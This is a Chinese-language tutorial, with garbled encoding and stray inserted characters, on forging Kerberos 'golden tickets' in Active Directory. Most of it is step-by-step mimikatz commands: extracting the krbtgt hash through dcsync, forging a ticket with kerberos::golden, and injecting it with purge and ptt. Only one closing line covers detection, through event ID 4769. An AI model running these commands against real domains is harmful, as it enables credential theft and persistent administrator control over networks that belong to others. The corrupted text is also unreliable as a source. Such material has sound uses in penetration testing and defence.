0x01 黃金票據(jù)原理
在kerberos協(xié)議身份請求認(rèn)證中（如下圖）堂鲤，不進(jìn)行第一步AS-REQ和第二步AS-REP兩個環(huán)節(jié)請求，利用偽造的ticket作為TGS-REQ的一部分發(fā)送到域控以獲取service ticket這一過程忍啸。黃金票據(jù)是由域kerberos賬號加密和簽名（krbtgt 域賬戶的NTLM Hash 加密的Session-key as、 Client-info迈勋、timestamp）并且可以被域中的 KDC 服務(wù)解密胆描。
krbtgt:KDC 服務(wù)使用的賬號瘫想，屬于 Domain Admins 組成員，可以用來生成訪問服務(wù)器的票據(jù)
0x02 GoldenTicket制作
- 域名
- 域SID
- KRBTGT NTLM或AES256
- 用來偽造的用戶名
1）獲取域SID
whoami /user
紅框里的是SID昌讲，外邊的是RID国夜，所以域SID就是S-1-5-21-16652XXXXXX-XXXXXXXXX-3128466792
2）獲取krbtgt hash
在域控上執(zhí)行mimikatz提取krbtgt hash
mimikatz lsadump::dcsync /user:krbtgt /domain:DOMAIN_NAME
3）生成黃金票據(jù)
在客戶機(jī)上執(zhí)行mimikatz
mimikatz # kerberos::golden /admin:admin111 /domain:DOMAIN_NAME /sid:S-1-5-21-XXXXXXXX-XXXXXXXX-3128466792 /krbtgt:NTLM_HASH/ticket:goldticket.kirbi
4）清空kerberos原有票據(jù)并導(dǎo)入黃金票據(jù)
mimikatz # kerberos::purge
mimikatz # kerberos::ptt goldticket.kirbi
查詢TGT是否導(dǎo)入成功
mimikatz # kerberos::tgt
0x03 黃金票據(jù)檢測和防御
通過查看DC事件日志eventID 4769 - 服務(wù)票證請求判斷是否可能遭到goldenticket的攻擊。
